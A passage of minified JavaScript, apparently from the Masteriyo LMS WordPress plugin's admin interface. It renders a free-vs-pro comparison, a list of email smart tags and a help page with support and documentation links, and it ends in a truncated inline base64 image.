0:e.feature,_hover:{bgColor:"gray.50"},bgColor:t%2==0?"white":"gray.50"},l().createElement(Ib.Td,{py:3.5},l().createElement(g.E,{fontWeight:"medium",color:"gray.700"},e.feature)),l().createElement(Ib.Td,{textAlign:"center",py:3.5},e.isPremium?l().createElement($e.I,{as:Sc.clO,color:"red.500",boxSize:4}):l().createElement($e.I,{as:Le.g9_,color:"green.500",boxSize:6})),l().createElement(Ib.Td,{textAlign:"center",py:3.5},l().createElement($e.I,{as:Le.g9_,color:"green.500",boxSize:6})))))))),l().createElement(Qe.a,{textAlign:"center",pt:2},l().createElement(je.N,{href:"https://masteriyo.com/free-vs-pro/",isExternal:!0,_hover:{textDecoration:"none"}},l().createElement(p.$,{rightIcon:l().createElement(Le.JvP,null),colorScheme:"blue",variant:"outline",size:"md",fontWeight:"semibold"},(0,E.__)("View Full Comparison","learning-management-system"))))));var Pb=n(45066);var Db=n(39915);function _b(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function kb(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?_b(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):_b(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}var Qb=[{id:(0,E.__)("Smart Tags for email"),description:(0,E.__)("The Smart Tags listed below can be used to parse user data that doesn’t require user to be registered.","learning-management-system"),smartTag:[{id:"{account_url}",description:(0,E.__)("URL of current site.","learning-management-system")},{id:"{admin_email}",description:(0,E.__)("Retrieves the site admin email.","learning-management-system")},{id:"{billing_first_name}",description:(0,E.__)("Billing first name","learning-management-system")},{id:"{course_name}",description:(0,E.__)("Name of the course.","learning-management-system")},{id:"{course_url}",description:(0,E.__)("URL of the course.","learning-management-system")},{id:"{site_address}",description:(0,E.__)("Address of the site.","learning-management-system")},{id:"{page_title}",description:(0,E.__)("Current Page title.","learning-management-system")},{id:"{site_title}",description:(0,E.__)("Current site title.","learning-management-system")},{id:"{total_price}",description:(0,E.__)("Total price.","learning-management-system")},{id:"{student_display_name}",description:(0,E.__)("Student Display Name.","learning-management-system")},{id:"{student_first_name}",description:(0,E.__)("Student First Name.","learning-management-system")},{id:"{student_last_name}",description:(0,E.__)("Student Last Name.","learning-management-system")},{id:"{student_nicename}",description:(0,E.__)("Student Nice Name.","learning-management-system")},{id:"{student_nickname}",description:(0,E.__)("Student Nick Name.","learning-management-system")},{id:"{student_username}",description:(0,E.__)("Student Username.","learning-management-system")},{id:"{student_email}",description:(0,E.__)("Student Email.","learning-management-system")},{id:"{instructor_display_name}",description:(0,E.__)("Instructor Display Name.","learning-management-system")},{id:"{instructor_first_name}",description:(0,E.__)("Instructor First Name.","learning-management-system")},{id:"{instructor_last_name}",description:(0,E.__)("Instructor Last Name.","learning-management-system")},{id:"{instructor_nicename}",description:(0,E.__)("Instructor Nice Name.","learning-management-system")},{id:"{instructor_nickname}",description:(0,E.__)("Instructor Nick Name.","learning-management-system")},{id:"{instructor_username}",description:(0,E.__)("Instructor Username.","learning-management-system")}]}];const zb=e=>{var{setIsListViewerOpen:t}=e,[n,r]=(0,a.useState)({});(0,a.useEffect)((()=>{var e=kb({},n);Qb.map((t=>{e[t.id]=!1})),r(e)}),[]);return l().createElement(d.B,{px:"6",py:"8",direction:"column",bgColor:"white",borderRadius:"base",border:"1px",borderColor:"gray.100"},l().createElement(d.B,{direction:"row"},l().createElement(p.$,{leftIcon:l().createElement(or.Nkd,null),variant:"outline",border:"none",size:"md",fontSize:"16px",fontWeight:"600",onClick:()=>t(!1)},(0,E.__)("All Smart Tags","learning-management-system"))),l().createElement(Ug.n,{allowMultiple:!0},Qb.map((e=>l().createElement(Wg.A,{key:e.id,p:"16px"},l().createElement(QE.J,{justifyContent:"space-between",_expanded:{bg:"#F8F8FE"},onClick:()=>{var t;t=e.id,r(kb(kb({},n),{},{[t]:!n[t]}))},boxShadow:"none !important"},l().createElement(Qe.a,{flex:"1",textAlign:"left",bgColor:"#F8F2FF",color:"#A975E8",maxWidth:"fit-content",p:"4px 8px",fontWeight:"600",fontSize:"14px"},e.id),n[e.id]?l().createElement(Db.A,null):l().createElement(Dn.A,null)),l().createElement(zE.v,{pb:4,bgColor:"#FBF8FE",sx:{display:"flex",flexDirection:"column",gap:"20px"}},l().createElement(g.E,{fontSize:"14px"},e.description),e.smartTag&&l().createElement(wb.X,{variant:"simple",fontSize:"14px",size:"sm",sx:{display:"flex",flexDirection:"column",gap:"16px"}},l().createElement(Bb.N,{sx:{display:"flex",flexDirection:"column",gap:"12px"}},e.smartTag.map(((e,t)=>{var{id:n,description:a}=e;return l().createElement(xb.Tr,{key:t},l().createElement(Ib.Td,{px:"0px",borderBottom:"0px",width:"200px"},l().createElement(Qe.a,{flex:"1",textAlign:"left",bgColor:"#F8F2FF",color:"#A975E8",maxWidth:"fit-content",p:"4px 8px",fontWeight:"600"},n)),l().createElement(Ib.Td,{borderBottom:"0px"},a))}))))))))))};const qb=()=>{var[e,t]=(0,a.useState)(!1);return l().createElement(l().Fragment,null,l().createElement(De.m,{maxW:"container.xl",py:10},l().createElement(br.x,{gridGap:"5",gridTemplateColumns:{sm:"1fr",md:"2fr 1fr",lg:"3fr 2fr",xl:"3fr 1fr"}},l().createElement(d.B,{gap:"5"},e?l().createElement(zb,{setIsListViewerOpen:t}):l().createElement(br.x,{gridTemplateColumns:{sm:"1fr",md:"1fr 1fr"},gridGap:"5"},l().createElement(d.B,{px:"6",py:"8",align:"center",gap:"3",bgColor:"white",borderRadius:"base",border:"1px",borderColor:"gray.100",textAlign:"center"},l().createElement(Ve.ZWM,{color:Aa,size:30}),l().createElement(ke.D,{as:"h3",size:"sm",fontWeight:"semibold"},(0,E.__)("Shortcodes","learning-management-system")),l().createElement(g.E,{fontSize:"13px",color:"gray.700"},(0,E.__)("Find the complete list of shortcodes with their usage information and parameter details.","learning-management-system")),l().createElement(p.$,{mt:"10",variant:"outline",colorScheme:"primary",borderRadius:"base",fontSize:"14px",fontWeight:"normal",onClick:()=>window.open("".concat(ra,"?shortcodes=true"),"_blank","noopener noreferrer")},(0,E.__)("View all Shortcodes","learning-management-system"))),l().createElement(d.B,{px:"6",py:"8",align:"center",gap:"3",bgColor:"white",borderRadius:"base",border:"1px",borderColor:"gray.100",textAlign:"center"},l().createElement(Pb.GJb,{color:Aa,size:30}),l().createElement(ke.D,{as:"h3",size:"sm",fontWeight:"semibold"},(0,E.__)("Smart Tags","learning-management-system")),l().createElement(g.E,{fontSize:"13px",color:"gray.700"},(0,E.__)("Find the complete list of smart tags with their usage information and parameter details.","learning-management-system")),l().createElement(p.$,{mt:"10",variant:"outline",colorScheme:"primary",borderRadius:"base",fontSize:"14px",fontWeight:"normal",onClick:()=>{t(!0)}},(0,E.__)("View Tags","learning-management-system"))),l().createElement(d.B,{px:"6",py:"8",align:"center",gap:"3",bgColor:"white",borderRadius:"base",border:"1px",borderColor:"gray.100",textAlign:"center"},l().createElement(Ve.ErG,{color:Aa,size:30}),l().createElement(ke.D,{as:"h3",size:"sm",fontWeight:"semibold"},(0,E.__)("Support","learning-management-system")),l().createElement(g.E,{fontSize:"13px",color:"gray.700"},(0,E.__)("If you have any issues or questions, our team is on standby to help you instantly.","learning-management-system")),l().createElement(p.$,{mt:"10",as:je.N,variant:"outline",colorScheme:"primary",borderRadius:"base",fontSize:"14px",fontWeight:"normal",href:"https://masteriyo.com/support/",isExternal:!0,textDecor:"none !important"},(0,E.__)("Contact Support","learning-management-system"))),l().createElement(d.B,{px:"6",py:"8",align:"center",gap:"3",bgColor:"white",borderRadius:"base",border:"1px",borderColor:"gray.100",textAlign:"center"},l().createElement(lb.A,{color:Aa,size:30}),l().createElement(ke.D,{as:"h3",size:"sm",fontWeight:"semibold"},(0,E.__)("Need Some Help?","learning-management-system")),l().createElement(g.E,{fontSize:"13px",color:"gray.700"},(0,E.__)("Check our documentation for detailed information on Masteriyo features and how to use them.","learning-management-system")),l().createElement(p.$,{mt:"10",as:je.N,colorScheme:"primary",borderRadius:"base",fontSize:"14px",fontWeight:"normal",textDecor:"none !important",href:"https://docs.masteriyo.com/",isExternal:!0,variant:"outline"},(0,E.__)("View Now","learning-management-system")))),l().createElement(d.B,null,l().createElement(ke.D,{as:"h3",fontSize:"lg",fontWeight:"semibold"},(0,E.__)("Join Our Community","learning-management-system"))),l().createElement(br.x,{gridTemplateColumns:"1fr 1fr",p:"4",bgColor:"white",border:"1px",borderColor:"gray.100",borderRadius:"base",gridGap:"7"},l().createElement(qe._,{src:"data:image/png;base64,UklGRq6LAABXRUJQVlA4WAoAAAAwAAAAawUAlwIASUNDUMgBAAAAAAHIAAAAAAQwAABtbnRyUkdCIFhZWiAH4AABAAEAAAAAAABhY3NwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAA9tYAAQAAAADTLQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlkZXNjAAAA8AAAACRyWFlaAAABFAAAABRnWFlaAAABKAAAABRiWFlaAAABPAAAABR3dHB0AAABUAAAABRyVFJDAAABZAAAAChnVFJDAAABZAAAAChiVFJDAAABZAAAAChjcHJ0AAABjAAAADxtbHVjAAAAAAAAAAEAAAAMZW5VUwAAAAgAAAAcAHMAUgBHAEJYWVogAAAAAAAAb6IAADj1AAADkFhZWiAAAAAAAABimQAAt4UAABjaWFlaIAAAAAAAACSgAAAPhAAAts9YWVogAAAAAAAA9tYAAQAAAADTLXBhcmEAAAAAAAQAAAACZmYAAPKnAAANWQAAE9AAAApbAAAAAAAAAABtbHVjAAAAAAAAAAEAAAAMZW5VUwAAACAAAAAcAEcAbwBvAGcAbABlACAASQBuAGMALgAgADIAMAAxADZBTFBIdwEAAAFnYJBt5NgdwdfkPiIi+PU6QG5ta8sWPQuH2P2LoAcycifWAjS1iCbcST13xuf7uvr5G3hGdkT/JyBqJ/bLKkk/bXVG/fmyytRjdeaqZN38SfE7W9001FxX6Xo8Iorf+eqmIeKiStj9Ed8y1kIUVcpu2MxZLe85a+Brzpr8kbN2f+WskzJnPVX8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8z//8/6/kMmc9/cpZJz9z1u7XnDX5mLMGV3JWa5GzGuJ7xlqNuMxYHRHF73x10xAR1/lqPCKi+J2tbhpqYiVbdcfne6nqaTTqTxyUWeppqzNqAQBWUDggQIgAABA7Ap0BKmwFmAI+MRiK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